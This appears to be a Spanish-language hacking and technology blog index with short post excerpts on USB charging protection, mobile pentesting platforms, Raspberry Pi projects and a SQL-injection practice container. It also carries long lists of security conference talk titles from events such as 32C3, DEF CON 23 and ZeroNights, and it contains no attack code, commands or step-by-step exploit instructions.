Aunque prácticamente los cimientos del lenguaje se mantienen, algunas cosas han cambiado. Por ejemplo la introducción de tipos nuevos y la desaparición de alguno como el char (todavía lo puedes usar referenciando las librería antiguas). También se han introducido nuevas directivas o incluso la forma de escribir código. Por ejemplo ahora puedes declarar variables en cualquier parte del código y no necesariamente al principio del programa o tu función, etc.

Domingo por la mañana/tarde, Petar Dundov "Around …

Si has visto Mr. Robot, seguro que esta canción te suena.

Petar Dundov.

Crea tu propio condón USB

¿Qué es un condón USB? Algun@ se preguntará.

La idea del condón USB viene después de que algún investigador de seguridad demostró como un teléfono móvil se podía comprometer conectándolo a una estación de carga maliciosa. Esta técnica fue bautiza como Juice Jacking y fue demostrada en la DefCon 19 (año 2011) y en la que ya hablamos aquí.

A partir de ahí alguien se inventó el termino USB Condom, o condón USB. Si buscas en Google hay empresas que comercializan estos dispositivos. La idea detrás de estos, es proteger tus dispositivos móviles cuando los conectas en algún punto de carga. La forma de proteger tus dispositivos es muy sencilla.

Vídeos de la HOPE X

La conferencia sobre hacking HOPE (Hackers On Planet Earth) X se celebró en julio del 2014. Esta conferencia se celebra cada 2 años y es una de las más antiguas, su primera celebración fue en 1994. Este año se celebrará en julio la HOPE XI. Con motivo de ello, hace unos días que se publicaron todos los vídeos de la última celebrada. Hace algún tiempo pusieron disponible el audio de las charlas.

Plataforma de pen testing móvil

De la mano de Offensive Security, creadores de la archi conocida plataforma de pen testing Kali Linux, nos llega la tercera versión de NetHunter, una plataforma de pen testing para dispositivos móviles.

NetHunter es una ROM basada en Android con un kernel personalizado y una aplicación que provee de herramientas sobre seguridad ofensiva principalmente. Además del acceso a todo el arsenal de herramientas de Kali, NetHunter también ofrece ataques a teclados HID, BadUSB, puntos de accesos hostiles, etc.

Teoría de juegos, libro gratuito con 165 …

La Teoría de Juegos provee un lenguaje formal de representación y análisis de situaciones interactivas, en las que varias entidades, llamadas jugadores, llevan a cabo acciones que afectan al resto de jugadores. La naturaleza de los jugadores dependen del contexto del juego en sí.

En la Teoría de Juegos, principalmente existen dos ramas: los juegos cooperativos, en el que los jugadores cooperan los unos con los otros y los no cooperativos.

Filtrado el código fuente de Amiga OS Kickstart + …

Durante la 32c3 (Chaos Computer Club 32) celebrada el pasado año :) en Alemania, alguien filtró un fichero de unos 70Mb con lo que parece tener el código fuente del sistema operativo Amiga OS (Kickstart + Workbench). En principio se hablaba de que la versión filtrada era la 3.1, pero al abrir el fichero aparecen dos directorios que parecen contener el código de las versiones 4 y 4.2.

#kill -9 Debian se viste de luto

Ayer vi en Reddit un hilo dónde se comentaba unos tweets sobre suicidio desde la cuenta de twitter de Ian Murdock (cuenta que ya no existe), creador de Debian. En principio hubo incertidumbre, y algunos avocaban a un posible robo de dicha cuenta. Desafortunadamente hoy Docker (empresa para la que trabajaba Ian Murdock) ha hecho pública una entrada en la que comunica el fallecimiento de éste. Según dicha entrada, Ian Murdock falleció el lunes por la noche. Una muy triste noticia para la comunidad.

Vídeos de Chaos Computer Club edición 32

Como cada año, del 27 al 30 de diciembre (establecido desde el año 2005) se celebra en Alemania una de las mejores conferencias sobre seguridad/hacking del mundo.

Este año el Chaos Computer Club celebra su 32 edición “Gated Communities”. Cómo siempre el panel de charlas es bastante amplio e impresionante.

Aunque aún no están todos los vídeos disponibles, ya podemos ir disfrutando de los que se han publicado:

• Plunge into Proxy Politics
• "Fluxus cannot save the world."
• #GOIBlocks - Technical observations about recent internet censorship in India
• (In)Security of Embedded Devices' Firmware - Fast and Furious at Large Scale
• (Un)Sicherheit von App-basierten TAN-Verfahren im Onlinebanking
• 20 OSCILLATORS IN 20 MINUTES
• 3D printing on the moon
• A Dozen Years of Shellphish
• A Free and Open Source Verilog-to-Bitstream Flow for iCE40 FPGAs
• A New Kid on the Block
• APT Reports and OPSEC Evolution, or: These are not the APT reports you are looking for
• All Our Shared Spectrum Are Belong to Us
• Avoiding kernel panic: Europe’s biggest fails in digital policy-making
• Beyond Anti Evil Maid
• Beyond your cable modem
• Breaking Honeypots for Fun and Profit
• Building and Breaking Wireless Security
• CHINTERNET ART
• Check your privileges!
• CloudABI
• Collect It All: Open Source Intelligence (OSINT) for Everyone
• Compileroptimierungen für Forth im Microcontroller
• Computational Meta-Psychology
• Console Hacking
• Craft, leisure, and end-user innovation
• Crypto Wars Part II
• Crypto ist Abwehr, IFG ist Angriff!
• Cyber all the Wassenaars
• Das Zahnrad aus Fleisch
• Datahavens from HavenCo to Today
• De-anonymizing Programmers
• Dissecting VoLTE
• Ecuador: how an authoritarian government is fooling the entire world
• Ein Abgrund von Landesverrat
• Evolution of Brain-Computer Interfaces
• Fnord-Jahresrückblick
• Free Software and Hardware bring National Sovereignty
• Gibberish Detection 102
• Graphs, Drones & Phones
• Grundrechte gelten nicht im Weltall!
• G’scheitern
• Hacker Jeopardy
• Hacking EU funding for a decentralizing FOSS project
• Hardsploit: A Metasploit-like tool for hardware hacking
• Hardware-Trojaner in Security-Chips
• Household, Totalitarianism and Cyberspace
• How hackers grind an MMORPG: by taking it apart!
• How the Great Firewall discovers hidden circumvention servers
• Intelexit
• Internet Cube
• Internet Landscapes
• Iridium Update
• Jahresrückblick des CCC
• Jugend hackt 2015
• Katastrophe und Kommunikation
• Key-logger, Video, Mouse
• Keynote
• Lessons learned: Freifunk für Geflüchtete
• Let's Encrypt -- What launching a free CA looks like
• Lifting the Fog on Red Star OS
• Lightning Talks Day 2
• Lightning Talks Day 3
• Ling - High level system programming
• Logjam: Diffie-Hellman, discrete logs, the NSA, and you
• Maker Spaces in Favelas - Lecture
• Maritime Robotics
• Media Coverage and the Public in the Surveillance Society
• Methodisch inkorrekt!
• Microsofts Windows 10 Botnet
• Mobile Censorship in Iran
• My Robot Will Crush You With Its Soft Delicate Hands!
• NSA-Untersuchungsausschuss: Zwischen Aufklärungswillen und Mauern aus Schweigen
• Neither Snow Nor Rain Nor MITM… The State of Email Security in 2015
• Net Neutrality in Europe
• Netzpolitik in der Schweiz
• New memory corruption attacks: why can't we have nice things?
• On Computing Numbers, with an Application to Problems of our Society
• One year of securitarian drift in France
• Opening Event
• PLC-Blaster
• PQCHacks
• Predicting Crime in a Big Data World
• Prediction and Control
• Profiling (In)justice
• Public Library/Memory of the World
• QRtistry
• Quantenphysik und Kosmologie
• Quantum Cryptography
• REXUS/BEXUS - Rocket and Balloon Experiments for University Students
• Replication Prohibited
• Reversing UEFI by execution
• Rowhammer.js: Root privileges for web apps?
• Running your own 3G/3.5G network
• Safe Harbor
• Sanitizing PCAPs
• Say hi to your new boss: How algorithms might soon control our lives.
• Security Nightmares 0x10
• Shooting lasers into space – for science!
• Shopshifting
• Sicherheit von 125kHz Transpondern am Beispiel Hitag S
• Sin in the time of Technology
• So you want to build a satellite?
• Software and business method patents: call for action
• State of the Onion
• Stromtankstellen – eine neue öffentliche Infrastruktur
• Technology and Mass Atrocity Prevention
• Ten years after ‚We Lost The War‘
• The Great Train Cyber Robbery
• The Magic World of Searchable Symmetric Encryption
• The Perl Jam 2
• The Price Of Dissent
• The Ultimate Amiga 500 Talk
• The architecture of a street level panopticon
• The exhaust emissions scandal („Dieselgate“)
• The mummy unwrapped
• The plain simple reality of entropy
• The state of Internet Censorship
• Thunderstrike 2
• Top X* usability obstacles
• Tor onion services: more useful than you think
• Towards (reasonably) trustworthy x86 laptops
• Trust us and our business will expand!
• Unpatchable
• Vector retrogaming
• Vehicle2Vehicle Communication based on IEEE 802.11p
• Verified Firewall Ruleset Verification
• What does Big Brother see, while he is watching?
• What is the value of anonymous communication?
• When algorithms fail in our personal lives
• When hardware must „just work“
• Wie Jugendschutzprogramme nicht nur die Jugend schädigen
• Wie man einen Blackout verursacht
• Windows drivers attack surface
• Wireless Drivers: Freedom considered harmful?
• apertus° AXIOM
• goto fail;
• libusb: Maintainer fail
• rad1o++
• re_cycle
• the possibility of an army
• Österreich: Der Kampf gegen unkontrollierte Massenüberwachung
• “I feel like a criminal and I have to be god at the same time”
• „Nach bestem Wissen und Gewissen“ – Floskeln in der Politik

Nota: el congreso todavía se está celebrando e irán apareciendo más vídeos, así que iremos actualizando la lista cada día. Publicaremos un tweet cada vez que actualicemos la entrada. También recuerda que las charlas se pueden ver en vivo.

Versión TLDR de las páginas man

Cuando llega la hora de usar un comando desde la línea de comandos que no uso forma habitual o simplemente necesito usar un comando que me resulta familiar, pero necesito usar alguno de esos parámetros que nunca usé o usé  muy poco, siempre acabo yendo a Google y no la ayuda del comando en sí o de las páginas man.

El problema con la ayuda de los comandos es que en la mayoría de los casos la información es muy escueta y con las páginas man, se me hacen demasiada densas y me puedo llevar una media hora encontrar lo que busco, cuando lo que realmente necesito es quizás un pequeño ejemplo del comando.

Cargador USB de sobremesa para mis proyectos

Hoy en día cualquier tipo de dispositivo móvil con batería, requiere para su carga un cable micro/mini/USB. Sí además entre tus “juguetes” tienes algún tipo de mini-ordenador, Raspberry Pi por ejemplo, como es mi caso, necesitas alimentarlo por dicho puerto.

Mi problema, como buen geek, es que son ya muchos los dispositivos que necesito cargar y/o conectar por USB y el número de enchufes se me queda corto. Es verdad que siempre puedo comprar un regleta o un SAI, pero ocupan demasiado espacio, además de ser costoso en ciertas ocasiones.

Emulador visual para aprender ARM

ARM es quizás, gracias a los dispositivos móviles y el famoso IoT, la arquitectura de procesadores más usada. Incluso Linus Torvalds augura que 2016 será el año de los portátiles con ARM. Por ello para cualquiera que requiera o simplemente desee tener conocimiento a bajo nivel de los sistemas, es esencial conocer el funcionamiento de ARM.

Para ayudarnos con esta tarea, toda herramienta o ayuda es siempre bienvenida. Aquí es dónde VisUAL viene de perlas.

BlessR2, nueva interfaz para Radare2

[embed]https://flic.kr/p/CkkWkW%5D%5Bimg%5Dhttps://cyberhades.ams3.cdn.digitaloceanspaces.com/imagenes/blessr2_23847747012_o_opt.png[/embed]

Ya hemos hablado anteriormente sobre alguna interfaz gráfica para radare2. En esta ocasión, hablaremos de una nueva interfaz, aunque no gráfica. Según su web, éÉsta está basada en node.js, r2pipe y módulos blessed, lo que provee una interacción muy amigable y dinámica con radare2, responsiva y asíncrona. Su nombre BlessR2.

Dicha interfaz está en versión beta y funciona bajo sistemas Linux, Mac OS y Windows.

Ésta también puede ser usada para depuraración de código, permite crear marcos, interactuar con estos usando el ratón y aplicar estilos de colores, entre otras cosas. Soporta hasta 256 colores y arte ASCII.

Vídeos de la ekoparty 11

Ya están disponibles los vídeos de la 11 edición de ekoparty celebrada el pasado mas de octubre.

• [Panel] Voto electrónico: Pensando el futuro de la democracia desde una perspectiva tecnológica.
• WINTER IS COMING - Iván Arce
• ARM DISASSEMBLING WITH A TWIST
• RECOVERING SAP RFC CREDENTIALS FROM NETWORK TRAFFIC - Emiliano Fausto
• LEARN ABOUT THE ENEMY - Moonbeom Park
• VOT.AR: UNA MALA ELECCIÓN - Iván Ariel Barrera Oro & Javier Smaldone
• EXPLOITING GSM AND RF TO PWN YOU PHONE - Manuel Moreno & Francisco Cortes
• FAUX DISK ENCRYPTION: REALITIES OF SECURE STORAGE ON MOBILE DEVICES - Drew Suarez & Daniel Mayer
• FUZZING BROWSERS FOR FINDING EXPLOITABLE BUGS - Nicolás Trippar
• ABUSING GDI FOR RINGO EXPLOIT PRIMITIVES - Diego Juarez
• DIRECT X - DIRECT WAY TO MICROSOFT WINDOWS KERNEL X - Nikita Tarakanov
• STICK THAT IN YOUR (ROOT)PIPE & SMOKE IT - Patrick Wardle
• HACKEANDO CARROS EN LATINOAMERICA - Jaime Restrepo
• NEW AGE PHREAKING: TÁCTICAS Y TRUCOS PARA FRAUDES EN WHOLESALE - David Batanero
• 2015'S REMOTE ROOT. WHAT DOES IT LOOK LIKE? - Juliano Rizzo
• CROZONO: CRACKING THE SECURITY PERIMETER WITH DRONES - Pablo Romanos & Sheila Berta
• Flash Talks
• BREAKING VAULT - Fernando Russ
• SECURITY DEVOPS IS POSSIBLE: HOW OSQUERY IS BUILT - Teddy Reed & Javier Marcos
• WINDOWS SMEP BYPASS: U=S - Nicolás Economou & Enrique Nissim
• IR TRANSFORMATION SYNTHESIS FOR ASSEMBLY INSTRUCTIONS - Sebastián N. Fernández
• SSL CERTIFICATE MASSIVE ANALYSIS.. AND MEDICAL APLICATIONS FINGERPRINTING - Bertin Bervis & James Jara
• SYSTEM UPDATES, ATTACK AND DEFENSE - Sofiane Talmat
• WARRANTY VOID IF LABEL REMOVED - ATTACKING MPLS NETWORKS - Georgi Geshev
• SATELLITE TV RECEIVERS: FROM REMOTE CONTROL TO ROOT SHELL - Sofiane Talmat

Hora de programación con Star Wars

Ya hemos hablado anteriormente del sitio Hour of Code. Un sitio web pensado para enseñar a programar a niños, aunque realmente para cualquiera que quiera introducirse en este mundillo.

La nueva clase se basa en el que es el tema de actualidad en círculos geek: Star Wars.

Tienes dos formas de poder hacer dicha clase: a través de bloques (al estilo scratch) o escribiendo código en Javascript, éste último para aquellos que se quieran acercar más a la programación real.

Hackeando la PS4

Una de las facetas del Hacking es la de saltarse los sistemas de protección establecidos en sistemas informáticos. Éste no sólo abarca los ordenadores en sí, sino además dispositivos móviles, vídeo consolas, etc. En realidad, dependiendo de cómo definas “ordenador”, todos estos son básicamente lo mismo: una CPU, memoria y unidad de control (como mínimo) que corren algún tipo software.

La PS4 o Playstation 4 es una consola de vídeo juegos de Sony, que no necesita presentación alguna y una de las más populares del mercado. Así como el resto de consolas, Sony intenta capar el sistema de la misma tanto como puede, para que los usuarios no puedan hacer otra cosa que jugar a los vídeo juegos certificados por dicha empresa. Esto es una práctica común no sólo en el mundo de las consolas y lo tenemos muy presentes en dispositivos como los teléfonos móviles.

Contenedor Docker con prácticas de SQLi

En mi afán por aprender y familiarizarme con el entorno de contenedores y más específicamente con Docker, he creado un contenedor con una aplicación web vulnerable diseñada para la práctica de ataques de inyección de SQL.

El código de dicha web no lo he creado yo y está disponible en Github. De hecho, tampoco es algo nuevo, pero cumple con el propósito de “mi práctica”. Las lecciones son perfectamente válidas, porque la inyección de SQL es todavía un factor muy presente en las aplicaciones web.

Material de DeepSec 2015

Por si no tenéis material bastante para leer, aquí tenéis las diapositivas presentadas en DeepSec 2015:

• Agile_Security_The_Good,_The_Bad,_(and_Mostly)_The_Ugly_-_Daniel_Liber.pdf
• Bridging_the_Air-Gap_Data_Exfiltration_from_Air-Gap_ Networks_-_Yisroel_Mirsky.pdf
• Can_societies_manage_ the_SIGINT_monster_-_Duncan_Campbell.pdf
• Chw00t_How_To_Break Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf
• Continuous_Intrusion_Why_CI_Tools_Are_an_Attacker's_Best_Friends_-_Nikhil_Mittal.pdf
• Cyber_Cyber_Cyber_Warfare___Mistakes_of_the_DoDs_-_Raoul Chiesa.pdf
• Deactivating_Endpoint_Protection_Software_in_an_Unauthorized_ Manner_-_Matthias_Deeg.pdf
• Extending_a_Legacy_ Platform_Providing_a_Minimalistic,_Secure_Single-Sign-On-Library_-_Bernhard_Goeschelberger,_Sebastian_Goettfert.pdf
• File_Format_Fuzzing_in_Android_-Alexandru_Blanda.pdf
• German_Privacy_Law_And_IT_Security_-_Stefan_Schumacher.pdf
• Hacking Cookies in Modern Web Applications_and_Browsers_-_Dawid_Czagan.pdf
• How_To_Break_XML_Encryption_-_Automatically_-_Juraj_Somorovsky.pdf
• Legal_Responses_ Against_Cyber_ Incidents_-_Oscar_Serrano.pdf
• Not_so_Smart_On_ Smart_TV_Apps_-_Marcus_Niemietz.pdf
• OSINT_Barncat___Mining_Malware_for_Intelligence_at_Scale_-_John_Bambenek.pdf
• Revisiting_SOHO_Router_Attacks_-_Jose_Antonio _Rodriguez_Garcia,_Ivan _Sanz_de_Castro,_Álvaro_Folgado_Rueda.pdf
• Yes,_Now_YOU_Can_ Patch_That_Vulnerability_Too!_-_Mitja_Kolsek.pdf
• ZigBee_SmartHomes_A_Hackers_Open_House_-_Tobias_Zillner,_Florian_Eichelberger.pdf

HACKvent 2015

En la misma línea del Advent of Code, HACKvent 2015 consiste en resolver retos de hacking, al estilo de un CTF.

Los retos comenzaron el 1 de diciembre y continuarán hasta el 24. Está organizado por Hacklab y por lo tanto necesitas estar registrado con estos. Los puntos conseguidos también se te sumarán a tu usuario (esto es interesante si te mantienes activo dentro de Hacklab).

Happy hacking!

Vídeos de DEF CON 23

Finalmente se están publicando los vídeos de DEF CON 23. Ya llevan un tiempo publicándolos en listas agrupadas por temas. Todavía no están todos, pero ya hay bastante material. Iremos actualizando esta entrada a medida que vayan publicando más. Por ahora estos son los que hay:

• Automotive Hacks
  • Marc Rogers and Kevin Mahaffey - How to Hack a Tesla Model S
  • Vehicle Hacking Village - Josh Corman - Safer Sooner Automotive Cyber Safety
  • Vehicle Hacking Village - Eric Evenchick - SocketCAN
  • Samy Kamkar - Drive it like you Hacked it: New Attacks and Tools to Wireles
  • Charlie Miller & Chris Valasek - Remote Exploitation of an Unaltered Passenger Vehicle
  • Vehicle Hacking Village - Nathan Hoch - The Badge and PAWN: Customizing the Badge

• Internet Of Things
  • Runa Sandvik, Michael Auger - Hacking a Linux-Powered Rifle
  • Qing Yang - Im A Newbie Yet I Can Hack ZigBee
  • IoT Village - Wesley Wineberg - Cameras Thermostats and Home Automation Controllers
  • IoT Village - K Reid Wrightman - Vulnerability Inheritance in PLCs
  • IoT Village - Kenneth Shaw - The Grid - A Multiplayer Game of Destruction
  • IoT Village - Daniel Miessler - IoT Attack Surface Mapping
  • IoT Village - Brian Knopf - Yes You Can Walk on Water
  • IoT Village - Aaron Guzman - Security - the IoT World

• Wireless
  • Graham and Maynor - HamSammich – Long Distance Proxying Over Radio
  • DEF CON 23 Conference - Andres Blanco, Andres Gazzoli - 80211 Massive Monitoring
  • Wireless Village - Wireless Warrior - Covert Wireless Practical Hacker LPI LPD
  • Wireless Village - Vivek Ramachandran and Thomas Dotreppe - WPA Enterprise Hacking
  • Wireless Village - V. Ramachandran - Automatic Live WPA WPA2 Attacks and WPA Supplicant
  • Wireless Village - Travis Goodspeed, Sergey Bratus - PSK31 Modulation Polyglots
  • Wireless Village - Tim Oshea - GNU Radio Tools for Radio Wrangling/Spectrum Domination
  • Wireless Village - Michael Calabro - Software Defined Radio Performance Trades & Tweaks
  • Wireless Village - Karl Koscher - DSP for SDR
  • Wireless Village - JoshInGeneral - Meeting People Over WiFi
  • Wireless Village - Kitchen and Kinne - Sniffin WiFi Sippin Pineapple Juice
  • Wireless Village - Cyb3r Assassin - Wireless Pentesting: So Easy a Cave Man Can Do It
  • Wireless Village - Catatonic - Tospo Virus: Weaponizing WiFi Pineapple Vulnerabilities
  • Wireless Village - Balint Seeber - SIGINT & Blind Signal Analysis w/ GNU Radio & SDR

• Crypto
  • Panel - Lets Encrypt Minting Free Certs to Encrypt the Entire Web
  • Justin Engler - Secure Messaging for Normal People
  • Eijah - Crypto for Hackers
  • David Huerta - Alice and Bob are Really Confused
  • Bruce Schneier - Questions and Answers
  • Ryan Castellucci - Cracking CryptoCurrency Brainwallets
  • Jose Selvi - Breaking SSL Using Time Synchronisation Attacks
  • Crypto and Privacy Village - Robert Olson - Teaching Privacy Using Red Team Strategies
  • Crypto and Privacy Village - Nick Sullivan - CFSSL the evolution of a PKI toolkit
  • Crypto and Privacy Village - Carlson and Doherty - Breaking CBC
  • Crypto and Privacy Village - Craig Young - Smart Home Invasion
  • Crypto and Privacy Village - Freddy Martinez - IMSI Catchers
  • Crypto and Privacy Village - Marina - Hacking Quantum Cryptography

• Biohacking
  • Scott Erven and Mark Collao -Medical Devices: Pwnage and Honeypots
  • Richard Thieme - Hacking the Human Body and Brain
  • BioHacking Village - Whitlock and Aganovic - Physiology from the Perspective of Control
  • BioHacking Village - Walter Powell - Parallels in BioSec and InfoSec
  • BioHacking Village - Panel - The Anatomy of DIY Implantable Devices
  • BioHacking Village - Alex Smith - Cloning Access Cards to Implants
  • BioHacking Village - Johan Sosa - Genetic engineering - GMO for fun and profit
  • BioHacking Village - Keoni Gandall - Biohacking at Home
  • BioHacking Village - Michael Goetzman - Social Implications of DNA Acquisition
  • BioHacking Village - Alejandro Hernández - Brain Waves Surfing - (In)security in EEG

• Hardware and Lockpicking
  • Lock Picking Village - Intro to Lockpicking 2
  • Lock Picking Village - Intro to Lockpicking 1
  • DEF CON 23 - Lock Picking Village - Impressioning
  • Hardware Hacking Village - Soldering 101 - Melting metal for fun and profit
  • Hardware Hacking Village - Nikhil Mittal - Hacking with Human Interface Devices
  • Hardware Hacking Village - Matt DuHarte - Introduction to USB and Fuzzing
  • Hardware Hacking Village - Dr. Tran - Introduction to Lockpicking
  • Hardware Hacking Village - Machinist - Mechanical Engineering for Noobs
  • DEF CON 23 - Teddy Reed and Nick Anderson - Hardware and Trust Security ELI5
  • Dan Petro and Oscar Salaza - Hacking Smart Safes: On the Brink of a Robbery
  • Mike Ryan and Richo Healey - Hacking Electric Skateboards
  • AmmonRa - How to Hack Your Way out of Home Detention

• Packet Hacking Village
  • Packet Capture Village - Wayne Crowder - Fishing To Phishing
  • Packet Capture Village - Vivek Ramachandran - 80211 Monitoring with PCAP2XML - SQLite
  • Packet Capture Village - Tony Martin - From XSS to Root on Your NAS
  • Packet Capture Village - Theodora Titonis - How Machine Learning Finds Malware
  • Packet Capture Village - Sam Bowne - Is Your Android App Secure
  • Packet Capture Village - Robert Simmons - The Digital Cockroach Bait Station
  • Packet Capture Village - Ron Taylor - Violating Web Services
  • Packet Capture Village - Paul Vixie - Passive DNS Collection and Analysis
  • Packet Capture Village - Mike Raggo - Remaining Covert in an Overt World
  • Packet Capture Village - Ming Chow - Tools and Techniques Used at the Wall of Sheep
  • Packet Capture Village - Monzy Merza - Real World Automation for Rapid Response
  • Packet Capture Village - Nikhil Mittal - Powershell for Penetraton Testers
  • Packet Capture Village - Jay Beale - Jailing Programs via Docker
  • Packet Capture Village - Joseph Muniz & Aamir Lakhani - Pen Testing with Raspberry Pi
  • Packet Capture Village - Karl Koscher - Sniffing SCADA
  • Packet Capture Village - Leon Ward - The Packets Made Me Do It - Using OpenFPC
  • Packet Capture Village - Lokesh Pidawekar - Hackers Practice Ground
  • Packet Capture Village - Michael Raggo - Mobile Data Loss - Threats and Countermeasures
  • Packet Capture Village - Bob Simpson - MITM 101 - Easy Traffic Interception Techniques
  • Packet Capture Village - Brian Wohlwinder and Andrew Beard - I See You
  • Packet Capture Village - David Schwartzberg - Hacking the Next Generation
  • Packet Capture Village - Elliot Brink - Global Honeypot Trends
  • Packet Capture Village - Grecs - Creating REAL Threat Intelligence With Evernote

• Social Engineering
  • Social Engineering Village - Tim Newberry - Twitter ISIL and Tech
  • Social Engineering Village - Noah Beddome - Yellow Means Proceed with Caution
  • Social Engineering Village - Michele Fincher - I Didn’t Think it was Loaded
  • Social Engineering Village - John Ridpath - Shakespeare and Social Engineering
  • Social Engineering Village - Jayson E. Street - Breaking in Bad
  • Social Engineering Village - Ian Harris - Understanding Social Engineering Attacks
  • Social Engineering Village - Dave Kennedy - Understanding End-User Attacks
  • Social Engineering Village - Chris Hadnagy - A Peek Behind the Blue Mask
  • Social Engineering Village - Adam Compton & Eric Gershman - SpeedPhishing Framework
  • Michael Schrenk - Applied Intelligence: Using Information Thats Not There
  • Marte Loge - Tell me who you are and I will tell you your lock pattern
  • Ken Westin - Confessions of a Professional Cyber Stalker
  • Chris Rock - I Will Kill You

• Panels
  • Panel - WhyMI so Sexy: WMI Attacks - Real Time Defense and Advanced Forensics
  • Panel - ThunderStrike 2: Sith Strike
  • Panel - Switches Get Stitches
  • Panel - Licensed to Pwn: Weaponization and Regulation of Security Research
  • DEF CON - Panel - Guests N Goblins: Exposing Wi Fi Exfiltration Risks and Mitigation
  • DEF CON 23 - Panel - DEF CON Comedy Inception
  • Panel - DEF CON 101: The Panel
  • Panel - Ask the EFF: The Year in Digital Civil Liberties
  • Panel - Abusing Adobe Readers JavaScript APIs

• Attack
  • Ionut Popescu - NetRipper: Smart Traffic Sniffing for Penetration Testers
  • Ian Kline - LTE Recon and Tracking with RTLSDR
  • Fernando Arnabold - Abusing XSLT for Practical Attacks
  • Dr Phil Polstra - One Device to Pwn Them All
  • Dr Phil Polstra - Hacker in the Wires
  • Damon Small - Beyond the Scan The Value Proposition of Vuln Assessment
  • Brent White - Hacking Web Apps
  • Aditya K Sood - Dissecting the Design of SCADA Web HMIs: Hunting Vulns
  • Craig Young - How to Train Your RFID Hacking Tools
  • Francis Brown, Shubham Shah - RFIDiggity: Guide to Hacking HF NFC & UHF RFID
  • Geoff Walton and Dave Kennedy - Pivoting Without Rights: Introducing Pivoter
  • Jeremy Dorrough - USB Attack to Decrypt Wi Fi Communications
  • Mickey Shkatov & Jesse Michael - Scared Poopless – LTE and your laptop
  • Nemus - Hacking SQL Injection for Remote Code Execution on a LAMP Stack
  • Nadeem Douba - BurpKit: Using WebKit to Own the Web
  • Tamas Szakaly - Shall We Play a Game
  • Wesley McGrew - I Hunt Penetration Testers: More Weaknesses in Tools and Procedures

Batería portable Lumsing, compañera perfecta para …

Los que seguís el blog, ya habréis leído sobre varios proyectos que hemos hecho usando Raspberry Pi. Concretamente, con el último proyecto que publicamos, ese del termómetro usando un par térmico, cuando me lo llevé a casa de un amigo para usarlo, nos encontramos con un problema: la alimentación. Este amigo mío tenía la barbacoa en el patio de la casa en el cual no había un enchufe cerca, con lo que tuvimos que hacer malabares, además de encontrar un alargador de corriente para finalmente poder usarlo. En ese momento empecé a masticar la idea de conectarle una batería externa al Raspberry Pi. La pregunta del millón: ¿Cuánta autonomía tendría?

Un nuevo paso al frente en mini ordenadores

Raspberry Pi, C.H.I.P., Beaglebone, Arduinos… El mercado de los mini ordenadores no para de moverse, nuevos modelos más potentes, menos potentes, pero más pequeños, etc. Cada uno de ellos perfecto para ciertos proyectos, muy asequibles e ideales para juguetear. El objetivo de la mayoría de estos es el acercar la tecnología a todos los rincones del mundo.

Y mi personalmente me encanta Raspberry Pi, pero para ser honestos, no cumple con su objetivo principal, el de ser ordenador muy barato enfocado a la educación. A mi lo que más me atrae es el interfaz GPIO que me permite conectarlo sensores y otros periféricos para poder construir algún tipo de dispositivo “inteligente”, nicho en el que los Arduinos en algunas ocasiones sean una mejor opción.

Presentaciones y vídeos de DefCamp #6

Pues para que no nos aburramos durante las vacaciones, aquí tenéis material nuevo. En este caso de DefCamp #6.

• A new Hope - CTF stories & IoT Hacking - Slide - Video
• Game of Hacks: Play, Hack & Track - Slide - Video
• (In)Security of Embedded Devices' Firmware – Fast and Furious at Large Scale - Slide - Video
• IoT Security - Slide - Video
• IoT Security - Slide - Video
• From Hype Hangover to Happy Hacking: Shaping the World through Shaping Actions - Slide - Video
• A new Hope - CTF stories & IoT Hacking - Slide - Video
• What's in a name? DNS use for exfiltration, and monitoring for detection - Slide - Video
• Finding media bugs in Android using file format fuzzing - Slide - Video
• White hat hacker bounty program to improve online environment security - Slide - Video
• ELK stack for Hackers - Slide - Video
• When Steganography Stops Being Cool - Slide - Video
• Integrating Mobile Devices into Your Penetration Testing Program - Slide - Video
• Toward large-scale vulnerability discovery using Machine Learning - Slide - Video
• Breaking in Bad (I'm the one who doesn't knock) - Slide - Video
• Modern approaches to Wi-Fi attacks - Slide - Video
• Building a Weaponized Honeybot (part I) - Slide - Video
• Building a Weaponized Honeybot (part II) - Slide - Video
• Why nation-state malwares target Telco Networks: Dissecting technical capabilities of Regin and its counterparts - Slide - Video
• Defending the Enterprise Against Network Infrastructure Threats - Slide - Video
• Challenges on Reversing Layered Malware - Slide - Video
• How to mess with Android Intents - Slide - Video
• Cryptography – our weapon in the 21st century - Slide - Video
• Luke 8:17 – Misleading implementations that compromise the privacy and information security - Slide - Video
• Building a Cyber Security Operations Center - Slide - Video
• Pentesting Android Applications - Workshop - Slide - Video
• What's in a name? DNS use for exfiltration, and monitoring for detection - Slide - Video
• IDS Evasion Techniques - Slide - Video
• Untrusted Mobile Applications. State of Art of Security App-Apocalypse - Slide - Video
• IoT Village Awards - Slide - Video
• Hacking and Securing Network Monitoring Systems: End-to-end walkthrough example on Ganglia - Slide - Video
• Orange about Bug Bounty and Innovation Labs 2016 - Slide - Video
• Abstract Apoc@lypse Technique - Slide - Video

Material de Zero Nights 2015, incluido los …

Ya está disponible el material de la conferencia Zero Nights 2015. No sólo las de las charlas, sino también de los talleres!

• “A praise for hackers”
• "Hacking Virtual Appliances"
• "Browser Fuzzing with a Twist (and a Shake)"
• "Warranty Void If Label Removed - Attacking MPLS Networks"
• “Big problems with big data - Hadoop interfaces security”
• “Mathematical theory of input validation vulnerabilities and attacks”
• «Cisco IOS shellcode – all-in-one»
• "Introducing Choronzon: an approach to knowedgebased evolutionary fuzzing"
• "Samsung SmartTV: how-to to creating insecure device in today’s world"
• "Did you get your token?”
• "Fix it yourself: resolving UEFI vulnerabilities single-handedly"
• "Attacking hypervisors using firmware and hardware"
• "Direct X – direct way to Microsoft Windows kernel"
• "Hack like a movie star: Step-bystep guide to crafting SCADA payloads for physical attacks with catastrophic consequences"
• "Modifying the firmwares of industrial switches"
• “Getting The Most Out Of CSP: a Deep Dive”
• "illusoryTLS: Nobody But Us Impersonate, Tamper, and Exploit"
• "How to build your own Echelon system? Attacks at 3G modems"
• "EESIL – universal IL (Intermediate Language) for Radare2"
• "S[c][/c]rum is all around. How to stop continuous integration"
• "KNX security or how to steal a skyscraper"
• "Extracting the painful (blue) tooth"
• “Cross-platform reversing with Frida”
• "Enlarge your Burp, or How to stop fearing Javadocs"
• “Practical exploitation of AVR MC-based devices”
• “On the way to (wrong) anonymity. Basic techniques of digital contraception and private data hygiene”
• “Software vulnerabilities of Yota communication equipment”
• “Distributing the reconstruction of high-level intermediate representation for large scale malware analysis”
• “Hooked browser network based on BeEF and Google Drive”
• “ORM2Pwn: exploiting injections in Hibernate”
